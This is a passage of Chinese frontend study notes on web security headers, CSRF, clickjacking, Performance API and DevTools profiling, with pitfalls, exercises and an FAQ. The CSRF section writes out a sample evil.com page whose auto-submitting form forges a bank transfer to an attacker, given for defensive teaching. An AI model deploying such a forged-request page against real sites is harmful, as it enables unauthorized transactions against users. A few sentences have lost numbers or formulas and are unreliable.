  3. CSP(Content Security Policy):限制脚本来源,禁止内联脚本,是 XSS 的最后一道防线。
  4. HttpOnly Cookie:即使被 XSS,也偷不走会话 Cookie。
  5. Trusted Types:现代浏览器 API,强制危险汇聚点只能接收经过策略处理的值。
  6. 避免 eval、new Function、document.write:这些都是危险汇聚点。
# 一个相对严格但仍需按业务调整的 CSP 示例
Content-Security-Policy:
  default-src 'self';
  script-src 'self' 'nonce-随机值' https://cdn.example.com;
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: https://img.example.com;
  object-src 'none';
  base-uri 'self';
  frame-ancestors 'none';

9.2 CSRF(跨站请求伪造)

原理:用户已登录站点 A(Cookie 有效),在未退出的情况下访问了恶意站点 B,B 诱导浏览器向 A 发起一个携带 Cookie 的请求——A 看到 Cookie 有效就以为是用户本人操作。

① 用户登录 bank.com,Cookie 存下
② 用户访问 evil.com(未退出 bank.com)
③ evil.com 里:<form action="https://bank.com/transfer" method="POST">
                  <input name="to" value="attacker">
                  <input name="amount" value="10000">
                </form>
                <script>document.forms[0].submit()</script>
④ 浏览器向 bank.com 发请求,自动带上 bank.com 的 Cookie
⑤ bank.com 校验 Cookie 通过 → 转账成功 ❌

防御手段:

手段原理强度备注
SameSite=Lax/Strict跨站请求不发送 Cookie中现代浏览器默认 Lax,是基础防线
CSRF Token表单/请求头携带服务端生成的随机 Token,攻击者无法预知高经典方案,见 [[后端-06-认证与授权]]
双重提交 CookieToken 同时放 Cookie 与请求头,服务端比对中无需服务端存储,但需防子域写入
校验 Origin / Referer只接受可信来源中Origin 更可靠,但受隐私设置影响
关键操作二次验证密码、短信、图形验证码高用于转账、改密码等高危操作
// 双重提交 Cookie 的前端写法:从可读 Cookie 取出 Token 放进请求头
function getCookie(name) {
  return document.cookie
    .split('; ')
    .find((row) => row.startsWith(`${name}=`))
    ?.split('=')[1];
}

fetch('/api/transfer', {
  method: 'POST',
  credentials: 'include',
  headers: {
    'Content-Type': 'application/json',
    // 注意:这个 Token Cookie 必须【不带 HttpOnly】,否则 JS 读不到
    'X-CSRF-Token': decodeURIComponent(getCookie('csrf_token') ?? ''),
  },
  body: JSON.stringify({ to: 'alice', amount: 100 }),
});

XSS 与 CSRF 的关系

XSS 比 CSRF 更严重:拿到 XSS 后,攻击者可以读取页面里的一切(包括 CSRF Token),CSRF 防御全部失效。

所以修复顺序是:先堵 XSS,再谈 CSRF。更多后端视角见 后端-09-后端安全与性能。

9.3 点击劫持(Clickjacking)

原理:用透明 iframe 覆盖在诱导性按钮上,用户以为点击的是「领取奖励」,实际点击的是 iframe 里银行的「确认转账」。

防御靠响应头,因为页面自身无法可靠地感知自己被嵌入:

# 方案一:X-Frame-Options(传统)
X-Frame-Options: DENY              # 任何页面都不许嵌套
X-Frame-Options: SAMEORIGIN        # 只允许同源页面嵌套

# 方案二:CSP frame-ancestors(现代,更细粒度,优先级高于 X-Frame-Options)
Content-Security-Policy: frame-ancestors 'none';                        # 等价 DENY
Content-Security-Policy: frame-ancestors 'self' https://partner.com;    # 白名单
对比X-Frame-Optionsframe-ancestors
规范来源非标准,但被广泛实现CSP Level 2 标准
是否支持多来源❌ 只能单个值✅ 支持列表
优先级低高(同时存在时以此为准)
建议为兼容旧浏览器保留主要使用这个

其他相关头:

# 阻止浏览器自行嗅探 MIME 类型(防御把 .txt 当脚本执行)
X-Content-Type-Options: nosniff

# 控制 Referer 泄露程度
Referrer-Policy: strict-origin-when-cross-origin

# 强制 HTTPS
Strict-Transport-Security: max-age=63072000; includeSubDomains; preload

十、怎么用:Performance API 与 DevTools 性能排查

10.1 Performance API 采集真实用户数据

// 用 PerformanceObserver 采集 Core Web Vitals 的关键指标
// 注意:真实项目中更推荐使用官方 web-vitals 库,这里展示底层原理

// ① 采集 LCP(Largest Contentful Paint,最大内容绘制)
let lcpValue = 0;
new PerformanceObserver((entryList) => {
  const entries = entryList.getEntries();
  const last = entries[entries.length - 1]; // LCP 可能多次上报,取最后一次
  lcpValue = last.startTime;
  console.log('LCP:', lcpValue.toFixed(1), 'ms', '元素:', last.element);
}).observe({ type: 'largest-contentful-paint', buffered: true });

// ② 采集 CLS(Cumulative Layout Shift,累积布局偏移)
let clsValue = 0;
new PerformanceObserver((entryList) => {
  for (const entry of entryList.getEntries()) {
    // 只有「非用户输入导致」的偏移才计入 CLS
    if (!entry.hadRecentInput) clsValue += entry.value;
  }
  console.log('CLS:', clsValue.toFixed(4));
}).observe({ type: 'layout-shift', buffered: true });

// ③ 采集 INP 的原料:长任务(Interaction to Next Paint 由交互延迟推导)
new PerformanceObserver((list) => {
  for (const entry of list.getEntries()) {
    console.warn(`长任务 ${entry.duration.toFixed(0)}ms,归因:`, entry.attribution);
  }
}).observe({ type: 'longtask', buffered: true });

// ④ 手动打点:测量任意代码段耗时
performance.mark('render-start');
doSomethingExpensive();
performance.mark('render-end');
performance.measure('渲染耗时', 'render-start', 'render-end');

const [measure] = performance.getEntriesByName('渲染耗时');
console.log(`耗时 ${measure.duration.toFixed(2)} ms`);

// ⑤ 导航时序:看每一段网络与解析花了多久
const [nav] = performance.getEntriesByType('navigation');
console.table({
  'DNS 查询': nav.domainLookupEnd - nav.domainLookupStart,
  'TCP 连接': nav.connectEnd - nav.connectStart,
  'TLS 握手': nav.secureConnectionStart > 0 ? nav.connectEnd - nav.secureConnectionStart : 0,
  '请求响应': nav.responseStart - nav.requestStart,
  '首字节 TTFB': nav.responseStart - nav.startTime,
  'HTML 下载': nav.responseEnd - nav.responseStart,
  'DOM 就绪': nav.domContentLoadedEventEnd - nav.startTime,
  '资源全部加载': nav.loadEventEnd - nav.startTime,
});

服务端归一化

performance.now() 返回的是相对于 timeOrigin 的高精度时间戳,不是绝对时间。要上报给服务端做聚合,直接用这个相对值即可。

如需与服务端日志对齐,可上报 performance.timeOrigin(Unix 毫秒)。现代浏览器会为跨源隔离场景降低时间精度(防御 Spectre),所以不要依赖亚毫秒级的时间差。

10.2 DevTools Performance 面板:录制与读火焰图

操作步骤(Chrome / Edge DevTools,中文界面菜单项对应):

  1. F12 打开 DevTools → 切到 Performance(性能) 面板。
  2. 点击左上角 ⚙️ 设置图标,勾选 Screenshots(截图)与 Web Vitals,便于把卡顿和画面变化对应起来。
  3. 点击 Record(录制,圆形按钮) 或按 Ctrl+E,然后在页面上复现卡顿操作(如快速滚动、打开弹窗)。
  4. 停止录制(再次点击或 Ctrl+E),得到一份性能报告。
  5. 在 Network(网络) 轨道上找到请求瀑布图,看是否有阻塞资源;在 Frames(帧) 轨道上找红色三角标记(掉帧);在 Main(主线程) 轨道上找最宽的黄色/紫色块。
  6. 点击某个宽任务,在下方 Bottom-Up(自下而上) / Call Tree(调用树) 标签页里定位到具体函数。

火焰图(Flame Chart)阅读法:

Main 轨道(横轴 = 时间,纵轴 = 调用栈深度)
├─ 宽而扁的块  → 耗时长的单个任务,是优化目标
├─ 高而窄的堆栈 → 深层递归或框架内部嵌套
└─ 颜色含义(Chrome 约定):
   🔵 蓝 (Loading)        → 解析 HTML、网络回调
   🟣 紫 (Scripting)      → 执行 JavaScript(Evaluate Script、Function Call)
   🟪 深紫 (Rendering)    → 样式计算 Recalculate Style、布局 Layout
   🟢 绿 (Painting)       → 绘制 Paint、合成 Composite Layers
   ⚪ 灰 (System)         → GC、编译、其他系统任务

关键判读技巧:

现象结论对策
紫色块又宽又连续JS 执行占用主线程拆分长任务、减少计算、移到 Worker
紫色块里有密集的 Layout布局抖动读写分离,见 §4.2
绿色 Paint 反复出现频繁重绘改用 transform/opacity,加 will-change
出现 Forced reflow 警告强制同步布局消除循环内读写交错
Frames 轨道出现红色三角掉帧定位到该帧内最宽任务
大量灰色 GC内存压力大减少临时对象与闭包持有

另一种更快的定位方式:Performance → 右侧面板的 Bottom-Up 视图按 Self Time 排序,能直接看到「谁自己占用了最多 CPU」,避免被框架的深层调用栈迷惑。

一次性给出可执行的排查顺序

Step 1 复现:用无痕窗口排除插件干扰,网络限速设成 Fast 3G,CPU 限速设成 4x slowdown(更接近中低端机)。

Step 2 分段:先只看 First Paint 之前的网络瀑布图;再看主线程前 的脚本。

Step 3 定位:Bottom-Up 按 Self Time 排序,找前 3 个函数。

Step 4 验证:改完再录一次,对比 FPS 与 LCP 数值,而不是凭感觉说「好像快了」。


十一、常见坑汇总

十个高频错误

1. 给 HTML 设长 max-age:用户长期拿不到新版本,白屏或功能异常。

2. 给带哈希的静态资源设 no-store:白白放弃缓存,首屏每次全量下载。

3. 混淆 no-cache 与 no-store:把敏感响应设成 no-cache(仍会写盘),或把静态资源设成 no-store。

4. Access-Control-Allow-Origin 动态回显 Origin 却不加 Vary: Origin:CDN 把 A 站的响应缓存后返回给 B 站,CORS 直接报错。

5. **credentials: 'include' 配合 Allow-Origin: ***:浏览器直接拒绝,且报错信息不直观。

6. 在循环里读 offsetWidth 再写样式:强制同步布局,性能可能差十倍。

7. 给所有元素加 will-change: transform:图层爆炸,显存吃紧,移动端直接闪退。

8. 用 innerHTML 拼接用户输入:XSS 直通车。

9. SameSite=None 忘记配 Secure:浏览器直接丢弃这个 Cookie,表现为「登录状态随机丢失」。

10. 把 Token 存 localStorage 且不加任何防护:任何一次 XSS 都能长期窃取凭据。localStorage 无法设置 HttpOnly,这是它的结构性缺陷。


十二、练习题

练习 1(缓存策略设计)

某电商站的资源包括:index.html、main.[hash].js、main.[hash].css、logo.svg、/api/user/profile(返回用户手机号)、/api/products(公开商品列表,可容忍 5 分钟延迟)。

请为这 6 类资源分别设计 Cache-Control(必要时补充 ETag、Vary),并说明理由。特别说明 /api/user/profile 该用 no-cache 还是 no-store,为什么。

练习 2(跨域排查)

前端 http://localhost:5173 调用 https://api.example.com/login,代码写了 credentials: 'include',Content-Type: application/json。浏览器控制台报:

Response to preflight request doesn't pass access control check: The value of the 'Access-Control-Allow-Origin' header in the response must not be the wildcard '*'...

请写出:(a) 浏览器实际发出的两次请求的完整关键头;(b) 服务端需要返回的 4 个响应头及其精确值;(c) 如果登录后接口仍然「拿不到登录态」,列出至少 3 个需检查的点。

练习 3(重排定位)

下面的代码在一个含 500 个 .row 元素的列表里执行,实测耗时超过 。请指出性能问题的根因,改写成高效版本,并估算大致能降低到多少毫秒量级。

```js

const rows = document.querySelectorAll('.row');

for (let i = 0; i < rows.length; i++) {

rows[i].style.height = rows[i].offsetHeight + 4 + 'px';

rows[i].style.marginTop = (i % 2) * 2 + 'px';

}

```

练习 4(渲染阻塞分析)

某页面 <head> 里这样写:

```html

<head>

<link rel="stylesheet" href="/all.css"> <!-- 300 KB -->

<script src="/analytics.js"></script>

<script src="/app.js"></script> <!-- 依赖 DOM -->

<link rel="preconnect" href="https://a.com">

<link rel="preconnect" href="https://b.com">

<link rel="preconnect" href="https://c.com">

<link rel="preconnect" href="https://d.com">

<link rel="preconnect" href="https://e.com">

<link rel="preconnect" href="https://f.com">

<link rel="preconnect" href="https://g.com">

</head>

```

请指出至少 4 处问题,并给出改写后的 <head>,说明每处改动的收益。

练习 5(安全加固)

一个后台管理系统把 JWT 存在 localStorage,用 Authorization: Bearer 头传递;Cookie 用于「记住登录设备」,设置了 SameSite=None(为了支持嵌入第三方系统的 iframe 场景),但没有 Secure、没有 HttpOnly。

请列出至少 4 个安全问题,按严重程度排序,并给出具体的修复配置(含 HTTP 响应头)。


十三、FAQ

Q1:为什么我在 Network 面板看到接口返回 200 且数据正确,但 JS 还是报跨域错误?

因为同源策略拦截的不是请求,而是响应的交付。请求已经到达服务器并成功返回(所以 Network 面板有记录、后端日志也有),但浏览器在把响应交给 JS 之前检查 CORS 响应头,缺少合法的 Access-Control-Allow-Origin 就丢弃响应并抛错。

这类「请求成功、读取失败」正是 CORS 相比 JSONP 的设计优点之一:错误可以被明确感知,而不是静默失败。

注意预检失败时,真实请求根本不会发出,这点与上面的情况不同。

Q2:localStorage 和 Cookie 都能存字符串,我直接用 localStorage 存登录 Token 不是更省流量吗?

单看流量确实更省(Cookie 会随每个同源请求自动发送, 的额度在有很多静态请求时不容忽视)。

但安全上 localStorage 有明显劣势:它无法设置 HttpOnly,任何一次 XSS 都能通过 localStorage.getItem() 直接读走 Token,而且读到的往往是长期有效的凭据。

更稳妥的方案是:会话凭据放 HttpOnly; Secure; SameSite=Lax 的 Cookie(JS 读不到),敏感操作再叠加 CSRF Token;确实需要放在 header 里的场景,优先使用短期 Access Token + 长期 Refresh Token,并把 Refresh Token 放在 HttpOnly Cookie 里。详见 后端-06-认证与授权。

Q3:transform: translateX() 和 left 到底差在哪?我的动画看起来差不多流畅啊。

在主线程空闲、页面元素很少的情况下,两者肉眼确实差不多,因为浏览器有足够的时间完成布局与绘制。

差异在高负载时暴露:left 会触发「样式计算 → 布局 → 绘制 → 合成」,全部在主线程完成;transform 在元素已提升为合成层时只触发「合成」,由合成线程与 GPU 完成,不依赖主线程。

验证方法:把 CPU 限速设为 6x slowdown,然后同时跑两个动画(一个动 left,一个动 transform),用 Performance 面板对比 Frames 轨道——动 left 的那个会明显掉帧。

用 LaTeX 表达这个差别:动 left 时每帧成本为 ,而动 transform 时退化为 。

Q4:ETag 和 Last-Modified 该用哪个?能不能都用?

可以都用,浏览器会优先用 ETag(If-None-Match),Last-Modified 作为兜底。

但要注意两个坑:一是 Last-Modified 精度只有秒,同一秒内多次改动会被误判为「未修改」;二是如果 ETag 由多台部署机器各自生成(例如基于 inode 或随机值),同一个文件在不同机器上会得到不同 ETag,导致 CDN 回源判定混乱、缓存命中率暴跌。

实践建议:静态资源用「内容哈希文件名 + 长强缓存」,根本不需要 ETag;HTML 入口用 no-cache + ETag(由 Nginx 基于文件内容或 mtime 生成并保证集群一致)。


相关笔记

  • 前端-09-前端工程化与调试——性能指标、构建产物体积分析与线上错误监控的工程化落地
  • 计算机网络——DNS、TCP、TLS 与 HTTP 协议的底层细节
  • JavaScript-05-DOM与事件——DOM 操作与事件模型,本文的性能优化建立在其之上
  • 前端-08-构建工具-Vite与Webpack——内容哈希文件名的生成、代理配置与分包策略
  • 后端-09-后端安全与性能——服务端视角的 XSS、注入与缓存策略
  • 前端-02-CSS基础——盒模型与层叠上下文,理解布局成本的前置知识

参考来源

以下链接在撰写时均已核实可访问(中国大陆网络环境下测试)。Web 平台规范与实现持续演进,具体属性与默认值以官方最新文档为准。